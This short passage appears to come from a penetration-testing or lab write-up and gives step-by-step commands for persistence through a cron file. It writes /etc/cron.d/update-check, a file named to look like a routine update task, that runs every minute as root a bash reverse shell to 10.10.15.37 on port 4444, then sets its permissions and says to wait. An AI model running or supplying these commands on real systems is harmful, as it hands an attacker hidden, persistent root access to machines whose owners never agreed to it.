Cron jobs can also be added as separate files under /etc/cron.d/.
Create a cron file:
cat > /etc/cron.d/update-check << 'EOF'
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1'
EOF
Set correct permissions:
chmod 644 /etc/cron.d/update-check
Wait for execution.